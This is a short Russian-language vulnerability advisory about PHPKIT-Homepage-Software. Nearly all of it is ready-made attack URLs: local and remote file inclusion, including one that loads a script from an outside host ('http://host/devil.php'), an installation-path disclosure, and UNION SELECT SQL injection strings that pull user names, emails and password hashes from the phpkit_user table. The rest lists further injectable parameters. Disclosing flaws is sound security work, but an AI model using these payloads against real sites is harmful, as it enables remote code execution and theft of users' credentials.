Несколько уязвимостей обнаружено в PHPKIT-Homepage-Software. Удаленный атакующий может выполнить произвольный PHP код, выполнить нападение SQL инъекции и раскрыть инсталляционный путь.
Возможен локальный инклуд *.php :
http://hanter/include.php?path= /home/devil.php
Возможнен инклуд в системе администратирования:
http://hanter/admin/admin.php?path= http://host/devil.php
Раскрытие инсталляционного пути:
http://hanter/include.php?path= update_1602.php
Возможность SQL инъекции: + Получение md5 хеша пароля пользователей и администратора(ов):
http://hanter/include.php?path=comment/comment.php&comcat= gb&subid=1'+UNION+SELECT+null,null,user_email,
user_name,null,null,null,null,user_pw,null,null,
null+FROM+phpkit_user+WHERE+user_id='1
http://hanter/include.php?path=login/member.php& order=nick&usernick='+UNION+SELECT+null,null,
null,null,null, null,user_pw,null,null,user_name,null,null,
null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null+FROM +phpkit_user+WHERE+user_name+LIKE+'%
http://hanter/include.php?path=comment/comment.php& subid=1&comcat=gb'+UNION+SELECT+
null,null,null,null, user_name,null,user_pw,null+FROM+phpkit_ user+WHERE+user_id='1
+
http://hanter/include.php?path= login/userinfo.php&id='sql-inj
http://hanter/include.php?path= content/overview.php&type=1&letter='sql-inj
http://hanter/include.php?path= forum/showcat.php&catid='sql-inj
http://hanter/include.php?path= login/imcenter.php&userid='sql-inj
http://hanter/include.php?newposttime= 'sql-inj&path=forum/main.php
http://hanter/include.php?path= forum/showthread.php&threadid=3'sql-inj
http://hanter/include.php?path= login/mailer.php&userid=1'sql-inj
http://hanter/include.php?path= content/download.php&contentid=14'sql-inj
